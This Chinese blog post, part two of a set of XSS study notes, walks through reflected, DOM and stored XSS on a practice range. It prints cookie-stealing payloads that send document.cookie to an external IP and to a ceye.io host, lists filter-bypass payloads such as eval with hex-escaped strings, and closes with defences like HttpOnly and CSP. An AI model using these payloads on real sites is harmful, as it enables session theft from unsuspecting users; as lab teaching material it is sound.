XSS攻击笔记(下)

这是XSS笔记下半部分,因为可能字数原因,注意回顾上半部分;
作者:博客园-狐小妖

实战模拟

靶场: https://xss.haozi.me/

反射型xss

我们获得一个编辑框,我们在编辑框中,或者请求参数里面提交xss语句,我们这里要盗取cookie,可以借用一个平台: https://xss.pt/

创建一个项目,然后所有功能都勾选上,然后我们复制项目这一句粘贴到编辑框中;

其实也可以在自己服务器上开启监听,然后在编辑框中输入:

document.location='http://39.108.189.85:1084/?cookie='+document.cookie;

XSS攻击笔记(下)

XSS攻击笔记(下)

提交成功之后我们就可以回到xss平台上查看我们获得的数据了,点击项目

XSS攻击笔记(下)

dom型xss

XSS攻击笔记(下)

如果不想使用xss平台,而是想使用传到我们自己服务器上的方法,那我们先开启监听

XSS攻击笔记(下)

然后在编辑框中输入:(39.108.189.85:1084是我们自己服务器的地址;39.108.189.85:1085是目标服务器地址)

document.location='http://39.108.189.85:1084/?cookie='+document.cookie;

XSS攻击笔记(下)

XSS攻击笔记(下)

也可以使用ceye.io平台,前面有说过:

XSS攻击笔记(下)

然后复制的粘贴改成下面这样:

document.location='http://dmv1so.ceye.io?cookie='+document.cookie

粘贴到目标服务器的编辑框中,提交:

XSS攻击笔记(下)

回到ceye.io,刷新:

XSS攻击笔记(下)

存储型xss

如果是黑客将上方代码插入到过滤不严谨的留言区、评论区,所有访问到插入代码的数据位置的人,cookie都将会被转发到黑客指定的服务器上,这样黑客就可以利用你的cookie去登录该站点了;

因为插入的代码将会一直被存储在服务器的数据库中,而有人翻看留言区、评论区等都有可能浏览到黑客插入代码的地方,当只要被请求到本地,那么cookie就会被转发到黑客服务器上;
作者:博客园-狐小妖

xss绕过

  • 闭合标签绕过
  • 、 闭合
  • value等元素属性闭合
  • 注释闭合
  • 绕过小括号、双引号、单引号
  • 利用反引号
    • </li> </ul> </li> <li>编码绕过(利用实体编码、unicode编码绕过)<ul> <li><img alt="" src="x" /> 属性内可以识别html实体编码 +</li> </ul> </li> <li>混淆绕过(利用html语法不严格、容错性)</li> <li>换行</li> <li>缺失>闭合的标签</li> <li>空格、TAB</li> <li>关键字绕过</li> <li>大小写绕过</li> <li>编码绕过</li> </ul> <pre><code class="language-js"> (实体编码绕过) alert(1) </code></pre> <ul> <li>字符拼接</li> </ul> <pre><code class="language-js"> top["al"+"ert"](1); </code></pre> <ul> <li>空格绕过</li> <li>利用/代替空格</li> </ul> <pre><code class="language-js"> </code></pre> <ul> <li>编码绕过(利用实体编码、unicode编码绕过)</li> </ul> <pre><code class="language-js"> 属性内可以识别html实体编码 alert(1&#41 遵循XML 和 SVG 的定义 </code></pre> <ul> <li>利用eval等方法绕过;<a href="https://www.cnblogs.com/huxiaoyao/p/16414815.html">作者:博客园-狐小妖</a></li> </ul> <pre><code class="language-js">eval.call${‘alert\x281)’} prompt.call${1} img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> </code></pre> <ul> <li>可控点在标签内部的绕过</li> <li>当某个可控点在标签内部,那么可以利用事件绕过</li> </ul> <pre><code class="language-js"> </code></pre> <ul> <li>标签属性支持javascript:协议</li> </ul> <p>

      XSS攻击笔记(下)

      防御xss方法

      • 对输入和URL参数进行过滤
      • 限制输入数据长度
      • 对输入数据格式进行验证(纯数字、符合邮箱、用户名格式)
      • 过滤、删除危险字符
      • 对输出进行编码
      • php使用htmlspeicalchars()函数,输出实体编码
      • 设置HttpOnly 防止cookie被js盗取
      • session.cookie_httponly=1
      • 设置CSP
      • CSP:Content Security Policy(内容安全策略),其旨在减少跨站脚本攻击。由开发者定义一些安全性的策略声明,来指定可信的
      • 针对于jsonp防御
      • 设置Content-Type为application/json
      • 利用htmlspecialchars()等方法过滤或转译参数

      Original: https://www.cnblogs.com/huxiaoyao/p/16414815.html
      Author: 狐小妖
      Title: XSS攻击笔记(下)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/602821/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 【python】使用pygame制作简单的飞机大战游戏

    游戏截图 代码部分 import pygame import random 设置标题、背景和图标 pygame.init () screen = pygame.display.se…

    Python 2023年9月19日
    038
  • 阿里云CENTOS7搭建个人网站记录nginx+uwsgi+flask+python3

    第一次搭建时看了很久教程,第二次因为服务器意外被攻击被迫重新构建,依靠第一次的经验第二次找到一条很快捷的快速建站方式,整个过程顺利的情况下仅需3小时左右本文并不会给出很详细的具体步…

    Python 2023年8月10日
    050
  • (第一部分)什么是MongoDB

    【第一章】什么是MongoDB 1.1 认识MongoDB MongoDB是NoSQL数据库中的佼佼者,该数据库基于灵活的JSON文档模型,非常适合敏捷式的快速开发。与此同时,其与…

    Python 2023年6月12日
    070
  • Python遍历文件夹存入list,并合并多文件夹中后缀名相同的文件

    目前一共有五个文件夹,每个文件夹中有多个csv文件,文件夹分别为N、N1、N2、N3、N4. 每个文件夹中的csv文件都是以子文件夹名称+日期命名。 均有相同列”Unn…

    Python 2023年8月19日
    091
  • matplotlib入门(2)

    啊哦~你想找的内容离你而去了哦 内容不存在,可能为如下原因导致: ① 内容还在审核中 ② 内容以前存在,但是由于不符合新 的规定而被删除 ③ 内容地址错误 ④ 作者删除了内容。 可…

    Python 2023年9月5日
    038
  • 西电数据挖掘实验3——复杂网络社团检测

    一、实验内容 复杂网络是描述复杂系统的有力工具,其中每个实体定义成一个节点,实体间的交互关系定义为边。复杂网络社团结构定义为内紧外松的拓扑结构,即一组节点的集合,集合内的节点交互紧…

    Python 2023年10月11日
    068
  • [附源码]计算机毕业设计的手机电商网站Springboot程序

    项目运行 环境配置: Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX (Webstorm也行)+ Eclispe(IntelliJ IDEA,Ecli…

    Python 2023年9月26日
    029
  • ZZA的项目学习开发文档4/29

    Pygame环境的配置: Win + R在 cmd页面中输入 pip install pygame命令后,安装 pygame开发环境游戏的开发过程需要用到Pygame的语法相关的内…

    Python 2023年9月24日
    041
  • Win10下安装Anaconda(Opencv和Numpy)

    由于楼主前天电脑硬盘坏了,重新安装了一个什么东西都没有了,只好重新安装并且总结一下。 注:楼主是学生 所以一切版本以老师安排为主 一、下载Anaconda 下载网址:Index o…

    Python 2023年8月25日
    055
  • Centos8上安装MongoDB4.X

    一、下载并解压MongoDB 1、下载MongoDB 取件码w2px 2、通过ftp软件上传的服务器上,我的位置:/root/softwares 3、解压并放在opt文件夹下:ta…

    Python 2023年6月9日
    086
  • 今年,我只赚了一点点

    大家好,我是 Jack。 之前一直有小伙伴问我,有没有免费的股票信息查询的 API 接口? 我看了一圈,很多免费的 API 接口都年久失修,失效了。 那好吧, 咱自己写一个。 想要…

    Python 2023年9月5日
    052
  • 发现一个舔狗神器,Python真的太厉害了,自动下载妹子视频…

    各位,这几天短视频主播里有这么多高颜值的女孩。有时他们会遇到自己最喜欢的女孩,尽管他们喜欢她们或收集她们,但如果主播将视频从货架上隐藏起来怎么办? [En] Guys, there…

    Python 2023年5月23日
    057
  • Scrapy入门

    目录 前言 一、Scrapy是什么? 二、架构图 三、安装 四、使用scrapy 1.创建scrapy项目 2.新建一个爬虫程序 3.运行爬虫程序 前言 本教程适用于有python…

    Python 2023年10月3日
    054
  • Docker入门之compose相关

    环境: docker compose是什么? Compose 是 Docker 容器进行编排的工具,定义和运行多容器的应用,可以一条命令启动多个容器,使用Docker Compos…

    Python 2023年8月14日
    062
  • python一键采集高质量陪玩,心动主播随心选……

    人生苦短,我用python 北京时间11月6日上午,2022英雄联盟全球总决赛(S12)冠亚军决赛在美国旧金山大通中心球馆进行,随着DRX的成功夺冠,在全球进一步掀起了电竞热潮。 …

    Python 2023年7月31日
    048
  • python生成numpy数组

    python生成numpy数组 正在生成numpy数组numpy.ndarray是一种表示N维数组的类型。数组可以生成:1.包含数字数据的Python列表2.使用numpy数组生成…

    Python 2023年8月26日
    066
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球